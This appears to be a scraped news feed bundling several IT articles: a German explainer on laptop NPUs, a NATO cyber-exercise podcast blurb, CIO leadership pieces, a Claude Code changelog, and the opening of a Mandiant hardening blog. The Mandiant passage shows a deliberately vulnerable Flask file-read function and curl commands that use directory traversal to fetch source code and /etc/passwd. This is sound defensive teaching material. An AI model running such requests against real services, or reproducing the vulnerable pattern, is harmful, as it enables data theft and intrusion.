    ]]>         <![CDATA[NPU, GPU, CPU – wer macht im KI-Notebook eigentlich was?]]> https://tsecurity.de/de/3673622/it-nachrichten/npu-gpu-cpu-wer-macht-im-ki-notebook-eigentlich-was/ https://tsecurity.de/de/3673622/it-nachrichten/npu-gpu-cpu-wer-macht-im-ki-notebook-eigentlich-was/ Thu, 16 Jul 2026 15:33:08 +0200 📰 IT Nachrichten tsecurity.de

    Seit einiger Zeit verkaufen die Hersteller Notebooks als KI-PC oder Copilot+ PC. Der Zusatz steht fßr einen Umbau der inneren Technik. Neben dem Hauptprozessor (CPU) und der Grafikeinheit (GPU) sitzt jetzt ein dritter Baustein auf dem Chip, die neuronale Recheneinheit (Neural Processing Unit, NPU). Die NPU berechnet KI-Funktionen energieeffizient direkt auf dem Gerät. Wer ein KI-Notebook kaufen mÜchte, sollte auf die entscheidende Leistungskennzahl achten.

    FĂźr das Siegel Copilot+ verlangt Microsoft eine NPU mit mindestens 40 TOPS, dazu 16 GByte Arbeitsspeicher und 256 GByte SSD. Aktuelle Notebook-Chips erreichen das mĂźhelos, so kommt Intels Core Ultra Series 3 auf 50 TOPS allein fĂźr die NPU.

    AMD (Ryzen AI 300 und 400), Qualcomm (Snapdragon X2) und Apple (M-Serie mit Neural Engine) liefern NPUs in ähnlicher Größenordnung. Erst die Rollenverteilung zwischen den drei Rechenwerken sorgt für flüssige KI-Funktionen im täglichen Gebrauch.

    Die CPU steuert und verteilt

    Die CPU steuert alle Vorgänge im Notebook. Sie startet Programme, verwaltet den Arbeitsspeicher und hält das Betriebssystem aktiv. Ihre wenigen, dafßr kräftigen Kerne arbeiten Befehle nacheinander ab und eignen sich fßr verzweigte Aufgaben mit vielen Entscheidungen.

    Bei KI-Funktionen Ăźbernimmt die CPU die Rolle des Verteilers. Sie erkennt, welche Art von Aufgabe ansteht, und schickt sie an das passende Rechenwerk. Eine Echtzeitaufgabe geht zur NPU, eine schwere Rechenlast zur GPU, eine reine Systemaufgabe bleibt bei der CPU selbst.

    Sobald das Ergebnis vorliegt, fĂźgt die CPU es an der richtigen Stelle ein, zum Beispiel den unscharfen Hintergrund in dein Videobild.

    AMDs Ryzen-Prozessor

    AMDs Ryzen-Prozessoren mit 3D V-Cache setzen auf gestapelten L3-Cache für mehr FPS (Frames per Second – Bilder pro Sekunde) bei speicherintensiven Spielen.

    AMD

    Die GPU rechnet massiv parallel

    Die GPU (Diese Grafikkarten sind ihr Geld wert) rechnet mit Hunderten bis Tausenden kleiner Kerne, die gleiche Rechenschritte gleichzeitig ausführen. Die Bauweise kommt aus der Grafikdarstellung und taugt genauso für KI. Beim Spielen, bei der Videobearbeitung und beim 3D-Rendering liefert die GPU die Rechenleistung, ebenso beim Training großer KI-Modelle und bei schweren parallelen Rechenlasten.

    Im Notebook steckt die GPU in zwei Formen. Eine integrierte Grafikeinheit sitzt zusammen mit CPU und NPU auf einem Chip, zum Beispiel Intel Arc oder AMD Radeon. Eine dedizierte Grafikkarte wie eine NVIDIA GeForce RTX bringt eigenen Videospeicher (VRAM) mit und schafft mehr Leistung, zieht dafßr mehr Strom und erzeugt mehr Wärme.

    XFX Radeon RX 7600 GPU

    XFX

    Die NPU spart Strom bei KI

    Die NPU ist auf eine einzige Sorte Mathematik ausgelegt, die hinter neuronalen Netzen steckt. Es geht um Matrixrechnungen, also viele Multiplikationen und Additionen auf einmal. Genau dafĂźr nutzt die NPU spezielle Recheneinheiten (MAC) und schnellen Speicher direkt auf dem Chip, damit die Daten kurze Wege haben.

    Der große Vorteil ist der niedrige Stromverbrauch. Eine NPU zieht für KI-Aufgaben nur wenige Watt, eine Grafikkarte im Rechenzentrum kommt unter voller Trainingslast auf mehrere Hundert Watt.

    Die NPU rechnet zudem häufig mit vereinfachter Genauigkeit (INT8 statt der feineren Formate einer GPU). Das spart Energie und beschleunigt die Antwort, reicht fßr KI-Inferenz aber vÜllig aus.

    KI-Inferenz meint das Ausfßhren eines fertig trainierten Modells, also das Anwenden. Das Anlernen des Modells bleibt Sache der GPU. Fßr Grafik, Spiele oder allgemeine Programme taugt die NPU nicht. Ihre Stärke liegt allein bei KI, die dauerhaft und im Hintergrund aktiv ist.

    Die NPU berechnet KI-Funktionen energieeffizient direkt auf dem Gerät. Wer ein KI-Notebook kaufen mÜchte, sollte auf die entscheidende Leistungskennzahl achten.

    Sam Singleton

    Was TOPS wirklich aussagen

    TOPS steht fĂźr Tera Operations Per Second, also Billionen Rechenoperationen pro Sekunde. Eine NPU mit 50 TOPS schafft 50 Billionen Rechenoperationen in einer Sekunde. Je hĂśher der Wert, desto mehr KI-Rechenschritte passen in dieselbe Zeit.

    Ein Vergleich der TOPS allein ist wenig aussagekräftig. Die NPU rechnet mit vereinfachter Genauigkeit und meldet andere Werte als eine GPU, deren TOPS Grafik und KI zusammenfassen. Desktop-Grafikkarten kommen so auf ßber 1.000 TOPS, ihre NPU-Kollegen im Notebook auf 40 bis 80. Beide Zahlen messen nicht dasselbe.

    Fßr den Kauf zählt eine Angabe. Wirbt ein Hersteller mit einer hohen Gesamtzahl aus CPU, GPU und NPU, sagt das wenig ßber das Copilot+ Siegel. Microsoft verlangt die 40 TOPS allein von der NPU. Ein prßfender Blick auf den NPU-Wert im Datenblatt schßtzt vor Enttäuschung.

    Warum lokale KI Ihnen nĂźtzt

    KI direkt auf dem Notebook (Was kann KI lokal auf dem PC? 7 AnwendungsmĂśglichkeiten) bringt mehrere handfeste Vorteile gegenĂźber der Cloud:

    • Datenschutz: Fotos, Dokumente und Sprachaufnahmen bleiben auf dem Gerät und gelangen nicht auf fremde Server.
    • Tempo: Die Antwort kommt ohne Umweg Ăźber das Internet, oft in Echtzeit.
    • Offline-Betrieb: Funktionen wie Übersetzung oder RauschunterdrĂźckung arbeiten auch ohne Verbindung.
    • Akku: Die sparsame NPU hält KI-Funktionen aktiv, ohne den Akku schnell zu leeren.

    Eine Grenze gehÜrt dazu. Cloud-Dienste wie ChatGPT oder Google Gemini rechnen auf externen Servern. Eine NPU beschleunigt sie nicht, denn die Arbeit passiert gar nicht auf deinem Gerät. Der NPU-Vorteil greift bei lokalen Funktionen, zum Beispiel den KI-Effekten in Videocalls oder einem Sprachmodell, das direkt auf dem Notebook antwortet.

    Windows 11 laptop with Copilot background faster easier smarter

    Microsoft

    NPU-Funktionen unter Windows

    Windows verteilt passende Aufgaben von sich aus an die NPU. In Videocalls sorgen die Windows Studio Effects fßr Hintergrundunschärfe, korrigierten Blickkontakt und eine ruhigere Tonspur. Live Captions ßbersetzen gesprochene Sprache in Untertitel, die Funktion Cocreator erzeugt Bilder aus einer Textbeschreibung, und Recall macht frßhere Bildschirminhalte durchsuchbar.

    Auch außerhalb von Windows nutzen Programme die NPU. Foto- und Videobearbeitung entfernt Objekte, tauscht Hintergründe oder rechnet Bilder hoch. Kleine Sprachmodelle antworten direkt auf dem Notebook, ohne Daten nach außen zu geben. Ob die NPU gerade arbeitet, zeigt der Windows-Task-Manager im Bereich “Leistung”.

    NPU, TPU und der Blick Ăźber das Notebook

    NPUs stecken nicht nur in Notebooks. Smartphones enthalten sie seit Jahren, Apple brachte mit dem iPhone X eine frĂźhe Variante, Huawei kurz darauf eine eigene. Im Rechenzentrum gibt es eine verwandte Sonderform, die TPU (Tensor Processing Unit) von Google. Sie ist auf das KI-Framework TensorFlow zugeschnitten und beschleunigt KI-Dienste in der Cloud.

    Kaufhinweise fĂźr Ihr KI-Notebook

    Die drei Rechenwerke ergänzen sich. Die CPU steuert und verteilt, die GPU liefert rohe Parallelleistung fßr Grafik und Modelltraining, die NPU erledigt dauerhafte KI-Aufgaben energiesparend. Fßr ein neues KI-Notebook lohnt der Blick auf den NPU-Wert.

    40 TOPS Üffnen die Copilot+ Funktionen von Windows, mehr Reserve mit 50 bis 80 TOPS aktueller Chips hält länger fßr kommende KI-Features vor. Dazu gehÜren 16 GByte Arbeitsspeicher als sinnvolle Untergrenze. Damit bist du fßr die KI-Funktionen der nächsten Jahre gut aufgestellt.

    ]]>         <![CDATA[#117 Digitale Verteidigung und NATO Locked Shields]]> https://tsecurity.de/de/3673542/it-security-video/117-digitale-verteidigung-und-nato-locked-shields/ https://tsecurity.de/de/3673542/it-security-video/117-digitale-verteidigung-und-nato-locked-shields/ Thu, 16 Jul 2026 15:04:23 +0200 🎥 IT Security Video tsecurity.de Author: Security-Insider - Bewertung: 0x - Views:0

    Vom 13. bis 24. April 2026 fand die Cybersicherheits-Übung „Locked Shields“ der Nato statt. Dabei handelt es sich um eine der größten Live-Fire-Übungen im Cyberbereich, bei der die Deutsche Bundeswehr, Cyberreservisten sowie ausgewählte Zivilisten mithilfe der Industrie ihre Abwehrfähigkeiten unter möglichst realen Bedingungen testen. Cyberreservist Ben Wetter und Markus Neumaier, Head of Security Operations Central Europe bei Orange Cyberdefense, sprechen über ihre Erfahrungen und ihren Lessons Learned.


    WeiterfĂźhrende Informationen und Links zu dieser Episode gibt es im Artikel auf Security-Insider (https://www.security-insider.de/security-insider-podcast-nato-locked-shields-a-6d841cdfd4ffed7d121507c164bd7955/) !


    Bestellen Sie unseren kostenfreien Security-Insider Newsletter (https://www.security-insider.de/newsletter/anmeldungen/) !


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    • BREAKING DATA - der Podcast zu Datenanalyse und AI (https://www.bigdata-insider.de/podcast/)
    • CLOUD ON AIR - mit Experten und Anwendern aus der Cloud-Welt (https://www.cloudcomputing-insider.de/podcast/)
    • DATACENTER DIARIES - Homestories direkt aus dem Zentrum von Daten und Rechnern (https://www.datacenter-insider.de/podcast/)
    • LOCALHOST - mit spannenden Gästen zu den Themen Netzwerktechnik und IP-basierter Kommunikation (https://www.ip-insider.de/podcast/)
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    • UNBÜROKRATISCH - zur Digitalisierung der Verwaltung (https://www.egovernment.de/podcast/)
    • HEALTHCARE DIGITAL - zur Digitalisierung im Gesundheitswesen (https://www.healthcare-digital.de/podcast/)
    • IT ImPuls - Trends, Technologien und Strategien für die IT-Branche (https://www.it-business.de/podcast/)
    • INSIDER RESEARCH - Das Expertengespräch zur Digitalisierung (https://podcast.insider-research.de/)


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    ]]>         <![CDATA[What next-generation IT leadership looks like]]> https://tsecurity.de/de/3672917/it-nachrichten/what-next-generation-it-leadership-looks-like/ https://tsecurity.de/de/3672917/it-nachrichten/what-next-generation-it-leadership-looks-like/ Thu, 16 Jul 2026 11:18:14 +0200 📰 IT Nachrichten tsecurity.de

    Today’s CIOs must master a complex balancing act of maintaining operational excellence while enabling AI experimentation, modernizing legacy environments while accelerating innovation, leading workforce transformation while maintaining culture, and communicating fluently across boards, business units, customers, and technical teams alike.

    Few leaders understand this balancing act better than former Verizon CIO Jane Connell. Over her career, Connell has helped some of the world’s largest enterprises modernize operations, reduce complexity, and transform how technology enables business value at scale. As a 2026 CIO Hall of Fame inductee, she is widely respected not only for operational excellence and strategic vision but also for her commitment to mentoring, workforce transformation, and preparing the next generation of leaders for a rapidly changing future.

    On a recent episode of the Tech Whisperers podcast, we unpacked Connell’s unconventional leadership story and the playbook that has shaped one of technology’s most impactful leaders. In this exclusive interview after the show, edited for length and clarity, Connell shares more lessons from her Hall of Fame journey and why she believes the future of technology leadership will depend less on org charts and more on curiosity, credibility, and human connection.

    Dan Roberts: When you think about preparing the next generation of technology leaders, what capabilities or mindsets do you believe will matter most in this next era?

    Jane Connell: One is curiosity, or what I call the “why” factor: What do we need to do and why do we need to do it? It’s having a mindset of unlocking the art of the possible. You must be comfortable with what you know, what you don’t know, and asking the question why, because in this era of AI and where technology is going, it’s not about automating things you know; it’s about what you don’t already know, and what that unlocks. AI creates patterns and opportunities and re-engineers through its own intelligence, so there has to be a lot of instinct involved, and you’re going to have to understand and learn what it’s telling you.

    I’m on the board of Rutgers, and one of the conversations we’re in with future leaders in education is that you don’t have those entry-level jobs anymore. They’re going to be AI. But those were building blocks for us. We came up the ranks and did those jobs, and that created the knowledge. [Future leaders are] not going to have that, so how do you create the foundation of knowledge — which is that art of asking why or what — to question if the bots or the patterns are biased or wrong. You’re not going to have the experience to rely on and say, “That’s wrong; I know that’s wrong because I did those. I know how this operates.”

    Second is having humility and being comfortable in your skin — that you don’t know everything, but you’re going to learn it. You’re going to involve yourself with people. It’s about workforce structure, not organizational structure. Who do you need to talk to, and what do you have to find out?

    I also believe followership is going to be huge, because the way work gets done is not hierarchical. It’s going to be engineered based on the process and AI. You have to create followership of people working together, and they’ve got to want to work with you. This isn’t going be “you work for me, do as I say.” Followership is going to be a key skill for influencing and organically having that kind of impact, versus someone with authority.

    With that is the accountability to have high integrity, be credible, and be a person someone would trust. Because all this is going to break down the hierarchy of authority, you have to bring that human side and be a really good leader, which means people want to follow you, they trust you, they want to work with you, and they know you’re going to take them to a better place.

    One recurring theme throughout your career has been your ability to bridge deep technology expertise with strong business acumen. Why is that combination becoming even more critical in the age of AI and digital transformation?

    You can’t impact anything tech-alone. It all resides on having business acumen and then having the technical ability to know how to use tech to solve the problem, not the other way around.

    At the root of all this is every company’s Achilles’ heel: the data. Access to data has been a privilege — those who have it, those who don’t. Now you’re bringing structured and unstructured [data] together for these AI models to work, and that’s a new skill set that requires you to know the business inside and outside.

    You also have to stay externally relevant and know where innovation is coming from. And you’re going to need to know how to architect that into the way your company goes to market, which requires you to know the business processes, how it runs, and how it could run.

    That’s the role of leaders moving forward, immersing yourself in the problems the business needs to solve. There’s no boundaries there. It’s not what department you report in and what process you own. It’s seamless. That’s the duality people need to command and grow into.

    Looking back on a career that spans multiple industries with different operating models, cultures, and regulatory environments, what were some of the most important calculated risks you took in terms of your growth?

    There were two pivotal moments in my career that were the biggest risks but probably my biggest gains in growth. One was when I went into a full-time tech role and ran infrastructure. I was a fish out of water, and not the likely successor. Part of the reason I did it goes back to a something we talked about on the podcast: Well, why not me? And I want more. That’s just my tenacity.

    It was during the dot-com days of the late 90s, early 2000s. It didn’t matter if you were the CEO or a board director, if you didn’t know tech and you didn’t understand how to wield it, you were never going to be successful. I knew that no matter what job I may want in the future, I had to know tech. So it was a calculated decision: I’m going to jump into tech.

    Some very senior supply chain leaders who controlled my career told me, “You’re going to fail, and I’ll have a safety net for you when you come back.” Well, I didn’t fail and I never went back. That pressure was there, but I knew why I was doing it. This wasn’t just a job for ego’s sake. This was, I have to know tech. The future is tech. It’s kind of like AI now.

    The other pivotal moment was changing industries. I left Johnson & Johnson at a great time. We had gone through a huge transformation, started our global services organization, and the perfect moment happened for me to retire early there. I didn’t know what I wanted to do. It was the first time I took a break in my career to let the world come to me instead of me planning it. Do I want to open a business? Do I want to consult? Do I want to stay retired? I was fortunate enough that I could, but I got bored.

    The financial industry wasn’t on my radar. Coming out of healthcare, with the purpose and the connection with saving lives, helping people, it’s easy to connect to. Financial wasn’t, for me. But one of the executive search firms said to me, when you interview, the biggest question hanging over your head is going to be, could you be successful elsewhere because you grew up in J&J. You had advocates, you had influence, you knew the industry. It’s like your deck was stacked for you. Could you do all that when you’re a nobody coming off the street?

    So when the CIO role opened at State Street, I interviewed — and talk about being your authentic self. I had already done all this transformation, I already knew the outcomes, I knew everything I did was always enterprise and always end-to-end transformation. And because I wasn’t really vying for the job, I was having this conversation with the CFO and saying, “Here’s what your organization is lacking, here’s the noise you’re going to hear, do you really have the appetite for it?” And “I’d like talk to the COO and see if they’re ready to hear this about the value chain. I may not know your problem yet, but I guarantee it’s one of these three things.”

    I was testing their advocacy of, do you really want to transform? Are you ready? Because you have to own this. I can’t take accountabilities for your organizations. I can help you get there. I’m an enabler for you, but you have to own it. And it was a very different interview. By the end of it, I loved Ron [O’Hanley, State Street Chairman and CEO] and his whole team. I took the job on the leadership and the person more than the industry, and it was very successful.

    I followed the same recipe when I went to Verizon. Those were big growing moments. They were risky, they were very uncomfortable, but it was the biggest growth that I’ve ever had.

    Whether it’s a tough message to the C-suite, a difficult conversation with peers, or helping teams make sense of uncertainty and change, you tell people the truth in a way they can hear it. How can other leaders develop that ability to take people on the journey, especially when the message isn’t easy?

    Skirting a problem is not the way to solve it. I’ve never been the person to say what you want to hear. I’ll tell you how you get there, and I’ll get you the results you want, but I’m going to be super honest because I want to manage the expectations of what we have to achieve.

    What I’ve learned as a leader is to take accountability. Say what you’re going to do, then do it, and if you hit a roadblock, be the first to call it. That gets you access, because people see it as a calculated risk. Anybody in the C-suite has resources and budget, but the earlier you signal and don’t waste money and resources, the more access to people and resources you will have.

    The greatest lesson I learned from one of the leaders in my path was: If you can’t say it in an elevator, and you can’t say it on one slide, you’re talking too much. So, think about it as one slide: What is it you need? What are you going to achieve? What are the risks? What are you taking accountability for? How will you measure it? It doesn’t matter what the message is when you can be that succinct. You’ve got them laser-focused on what it is. You gave them just enough of the periphery to know how you got there, and then it’s their belief in you that you can do it if they give you the money and resources, because that’s what you’re looking for.

    It sounds so simple but putting things together succinctly is hard work. You have to take all the unnecessary noise out, and keep the conversation focused. You don’t want their mind wandering, wondering where is she going, or what are they doing? Give it to them upfront and tell them what you need.

    You’ve spoken about entering corporate environments early in your career feeling intimidated by people with more traditional credentials or educational backgrounds. What advice can you give rising leaders about battling imposter syndrome?

    Take the time to figure out what makes you uncomfortable, what makes you feel like an imposter, or what in that meeting you dread going in where you’re not acting like yourself. Are you more quiet than usual? Are you not asking the question you’d normally ask? Figure out what those issues are, and then address the things that make you uncomfortable. I went to college later because that bothered me. Those credentials do matter. So I addressed it and got my degrees and certifications.

    The other thing is to find people you trust, people whose opinion you respect, and bring them on the inside of what you’re working on. Maybe it’s dealing with a difficult business partner. You may not particularly want to be friends with them, but you’re going to have to work with them. Find the people that work effectively with them. You do this with high integrity — this is not about talking about that person — but find the allies that work with them. Nine times out of ten, they feel the way you do, but they found a way to work with the person. Pick their brain. Bring them in the fold and say, “I need this alliance. I can’t get there, and quite frankly, I know I’m resisting because maybe I just don’t like them. How did you get there?”

    People are generous. Ask their opinion, ask how they’re showing up. “Am I creating the trigger? Is there something I’m doing in that meeting or in that room that I’m not coming out with a decision or whatever I needed?”

    The greatest gift is feedback. There’s feedback you do something with, and there’s feedback you don’t, but either way, it’s a gift. Somebody’s giving it to you. It’s not personal; it’s business. And those things really help build your confidence and leadership style.

    In an era increasingly shaped by automation and disruption, Jane Connell believes the most enduring competitive advantage may come from something deeply human: the ability to inspire confidence, curiosity, resilience, and possibility in others. For more advice from this Hall of Fame CIO, tune in to the Tech Whisperers podcast.

    See also:

    ]]>         <![CDATA[What the World Cup reveals about the operating models CIOs need next]]> https://tsecurity.de/de/3672915/it-nachrichten/what-the-world-cup-reveals-about-the-operating-models-cios-need-next/ https://tsecurity.de/de/3672915/it-nachrichten/what-the-world-cup-reveals-about-the-operating-models-cios-need-next/ Thu, 16 Jul 2026 11:18:11 +0200 📰 IT Nachrichten tsecurity.de

    Every major sporting and pop culture event creates a familiar conversation among employers: How much productivity will be lost?

    This year’s FIFA World Cup was no exception. Before the tournament began, UKG research found that 37% of employees globally planned to adjust their work schedules during the tournament. Some intended to take time off. Others expected to arrive late, leave early, or otherwise alter their work patterns. The estimated global productivity loss from presentism and absenteeism ranged from $17 billion (UKG) to an astonishing $30.2B (Challenger, Gray & Christmas).

    As tournament play began, viewership surged across broadcast and streaming platforms: FOX Sports reported record audiences, while Peacock and Telemundo viewership increased more than 230% compared to the 2022 tournament through the first 12 matches.

    Those numbers are interesting, but, as a CIO, I think they point to a more important question: Why do events like this still disrupt organizations in the first place?

    The World Cup is unique because it is one of the few workforce disruptions we can see coming years in advance, and the tournament game schedule is a blend of predictable (pool play) and unpredictable (knockout stage). We know employees will modify schedules. We know customer-demand patterns will shift. We know some industries will experience staffing challenges while others see increased activity.

    None of this is a surprise.

    That is what makes the UKG survey results so interesting. They reveal a broader truth: Even when change is predictable, many organizations still struggle to prepare for it effectively.

    The issue is rarely a lack of data. Most organizations have access to workforce, operational, financial and customer information. The challenge is that those signals often live in disconnected systems, making it difficult to translate information into action before problems emerge.

    In my experience, this is where many operating models begin to break down.

    Organizations need to optimize operations for adaptability

    For years, organizations optimized for efficiency, standardization and predictability. Those priorities helped businesses scale, but they also created processes that can struggle when conditions change. Increasingly, the ability to adapt is becoming just as important as the ability to execute efficiently.

    Adaptability is often discussed in the context of unexpected events, but many operational challenges are highly predictable. Major sporting events, seasonal demand fluctuations, weather patterns, holiday periods and workforce trends all generate signals organizations can anticipate.

    The question is not whether the information exists. The question is whether organizations can connect workforce, operational, financial and customer data in a way that allows leaders to act on those signals before they become problems.

    This is where technology leaders have an important role to play.

    Access to real-time insights leads to agile decision making

    As CIOs, we are increasingly responsible for creating the conditions that allow organizations to sense changes, make decisions and respond quickly. That requires more than modern technology. It requires connected data, simplified processes and operating models designed to support faster decision making across the business.

    When workforce planning, scheduling, labor costs, customer demand and operational performance exist in separate systems, organizations spend their time reconciling information. When those signals are connected, they can spend their time making decisions.

    This is also where AI has the potential to create significant value. Much of today’s conversation focuses on productivity gains, but I believe the larger opportunity is responsiveness.

    Organizations generate millions of operational signals every day. AI can help process those signals, identify patterns, surface risks and recommend actions faster than traditional approaches. The value is not simply producing more insights. The value is helping organizations shorten the distance between awareness and action.

    When AI is combined with connected data and embedded into operational workflows, it can help leaders respond to changing conditions with greater speed and confidence. That is ultimately what organizations need: not perfect predictions, but the ability to make better decisions faster.

    Three questions to ask right now to test operational effectiveness

    For CIOs, the World Cup offers an interesting stress test. It creates a visible, measurable change in workforce behavior, but the lessons extend far beyond a sporting event. I think there are three questions every technology leader should consider:

    1. Can we identify operational changes as they happen, or only after they appear in reports?
    2. Can our teams make decisions quickly when conditions change?
    3. Are our systems helping employees adapt, or creating additional complexity when flexibility is required?

    The answers often reveal more about organizational readiness than any technology roadmap.

    Operational excellence means moving from information to action

    Eventually, the tournament will end. The broader challenge it exposes will remain. Workforce expectations will continue to evolve. Economic conditions will continue to change. New technologies will continue to reshape how organizations operate.

    Organizations cannot predict every disruption. But they should be able to prepare for the ones they can see coming.

    The World Cup is a reminder that operational excellence is not just about responding to change. It is about recognizing signals early, connecting information across the business, and acting before predictable challenges become operational problems.

    In my experience, the companies that do this well are not necessarily the ones with the most detailed plans. They are the ones with the clearest visibility, the simplest operating models and the ability to turn information into action quickly. Increasingly, that is what modern operational excellence looks like.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[Hazel Cerra — Women in Security 2026]]> https://tsecurity.de/de/3672878/it-security-nachrichten/hazel-cerra-women-in-security-2026/ https://tsecurity.de/de/3672878/it-security-nachrichten/hazel-cerra-women-in-security-2026/ Thu, 16 Jul 2026 11:09:25 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[v2.1.211]]> https://tsecurity.de/de/3672066/downloads/v21211/ https://tsecurity.de/de/3672066/downloads/v21211/ Thu, 16 Jul 2026 01:16:22 +0200 💾 Downloads tsecurity.de What's changed
    • Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
    • Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message
    • Fixed auto mode overriding a PreToolUse hook's ask decision for unsandboxed Bash — a hook ask now floors the decision at a prompt
    • Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store
    • Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message
    • Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured
    • Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message
    • Fixed nested .claude/rules/*.md files loading even when setting sources exclude project settings
    • Fixed file upload validation: filenames ending in a DOS device suffix (.prn) or trailing dot are now accepted, and files with multiple hard links are refused
    • Fixed file uploads to Claude in Chrome from remote and CLI sessions
    • Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel
    • Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running
    • Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)
    • Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id
    • Fixed /loop hiding the session from /resume after a single use
    • Fixed screen reader users losing the audible terminal bell after /terminal-setup or onboarding terminal setup
    • Fixed background jobs on LLM gateway auth (ANTHROPIC_AUTH_TOKEN + ANTHROPIC_BASE_URL) coming back "Not logged in" after the daemon respawns them
    • Fixed claude agents jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing
    • Fixed /clear not resetting the session cost counter — the statusline's cost now starts at $0 after /clear
    • Fixed Claude in Chrome setup pages failing to open in the browser on Windows
    • Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable
    • Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link
    • Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions
    • Fixed routines with no schedule reporting a next run time in the year 1
    • Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after /clear
    • Improved terminal layout and rendering performance
    • Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results
    • Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments
    • Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like 1e6 and 64_000
    • Updated documentation links to the current docs sites
    • Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees
    • Changed /usage-credits to ask for confirmation before sending a request to organization admins
    • Changed Vim mode s and S (substitute char/line) to work in NORMAL mode, matching vim behavior
    • [VSCode] Updated the Remote Control banner to describe what it does
    • Claude in Chrome: hardened file-upload path validation
    • Claude in Chrome: save_to_disk on screenshot actions now writes the image to disk and returns the path; previously it did nothing
    • Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.
    ]]>         <![CDATA[The Risk of Exposed Cloud Functions and How to Harden]]> https://tsecurity.de/de/3670891/it-security-nachrichten/the-risk-of-exposed-cloud-functions-and-how-to-harden/ https://tsecurity.de/de/3670891/it-security-nachrichten/the-risk-of-exposed-cloud-functions-and-how-to-harden/ Wed, 15 Jul 2026 16:08:05 +0200 📰 IT Security Nachrichten tsecurity.de

    Written by: CornĂŠ de Jong

    Introduction 

    Mandiant security assessments frequently identify publicly exposed serverless applications that lack authentication, often as a result of specific business requirements. Serverless deployments typically run custom-developed code that incorporates third-party packages, making them targets for a wide range of application-level attacks, including:

    • Local and Remote File Inclusion (LFI/RFI)

    • Command Injection

    Successful exploitation of these vulnerabilities can grant an attacker full control over the underlying container instance. Such access can serve as a foothold that may ultimately lead to a full compromise of the victim’s cloud environment.

    Based on lessons learned in customer engagements, in this blog post we describe attack scenarios and provide actionable guidance on how to secure serverless environments. While this analysis focuses on hardening strategies for Google Cloud Run services and functions that must remain publicly accessible, these principles apply universally to any public serverless deployment.

    What are Serverless Applications?

    Serverless applications, also described as Function-as-a-Service (FaaS), allow the deployment of individual blocks of code as microservices within a flexible, decoupled, and event-driven cloud architecture without the need to manage underlying infrastructure. These services enable applications and automations to scale automatically and deploy instantly, removing operational overhead. Serverless services underpin major e-commerce, media, payment processing applications, and AI usage. 

    The rapid expansion of generative AI adoption is a significant driver of increased serverless architecture use. AI workflows, including chatbot interactions, image generation, “vibe-coding”, and multi-step AI agents rely on serverless functions to complete tasks for users. This growth has made securing serverless environments a more pressing challenge for enterprise security teams. 

    Risks of Serverless Application Attacks

    Publicly exposed serverless workloads can serve as an initial access point for threat actors. As noted, these services may contain vulnerabilities within the code, imported packages, or the underlying runtime environment.

    Once an entry point is exploited, attackers typically attempt to escalate privileges or move laterally. Common techniques observed include:

    • Extracting secrets stored directly within the application code.

    • Reviewing application logic and sensitive data to identify further attack vectors within the environment.

    • Exfiltrating service account bearer tokens from the metadata server following successful Remote Code Execution (RCE).

    Leveraging these compromised secrets or service accounts allows threat actors to pivot to adjacent systems and workloads, potentially resulting in a total environment takeover if proper hardening strategies are not in place.

    Example Attack Scenarios

    The following simplified scenarios illustrate how serverless functions can be compromised and how attackers pivot after achieving initial code execution.

    Local File Inclusion (LFI) 

    In the following Cloud Run example, a Python/Flask function accepts user-controlled input to open a file without performing proper validation. This pattern is an example of a Local File Inclusion (LFI) vulnerability.

    import functions_framework

@functions_framework.http
def hello_http(request):
    request_json = request.get_json(silent=True)
    request_args = request.args
    if request_json and 'file' in request_json:
        file = request_json['file']
    elif request_args and 'file' in request_args:
        file = request_args['file']
 
# VULNERABILITY: The 'file' parameter is used directly in open() 
# without validation, allowing arbitrary file access
    with open(file, 'r') as resp:
          filedata = resp.read()
    return 'local file data {}!'.format(filedata)

    Figure 1: Vulnerable Python/Flask function accepting unvalidated user input to open files

    This vulnerability allows an attacker to request sensitive files from the Cloud Run instance by using curl to send a POST request via the file parameter:

    curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "main.py"}'

    Figure 2: curl POST request targeting the file parameter

    The response provides the complete main.py source code. An attacker can analyze the code for:

    • Hardcoded secrets such as API keys, database credentials, or authentication tokens

    • Business logic flaws and additional injection points

    • Internal service endpoints and architecture details

    • Import statements revealing the technology stack and potential CVE exposure

    Additionally, attackers can leverage standard ../ directory traversal sequences to retrieve sensitive system files:

    curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd"}'

    Figure 3: curl POST request leveraging directory traversal sequences

    An LFI vulnerability allows an attacker to retrieve and fuzz various files directly from the container. Key examples include:

    • requirements.txt, package.json, go.mod: Used to identify installed packages and versions with known vulnerabilities.

    • .env files: Frequently contain sensitive environment variables or hard coded secrets.

    • Application configuration files: May contain database credentials, API keys, or service endpoints if not securely managed.

    • /etc/passwd, /proc/self/environ: Contains user information, environment variables.

    • Application logs: may contain auth tokens or PII data.

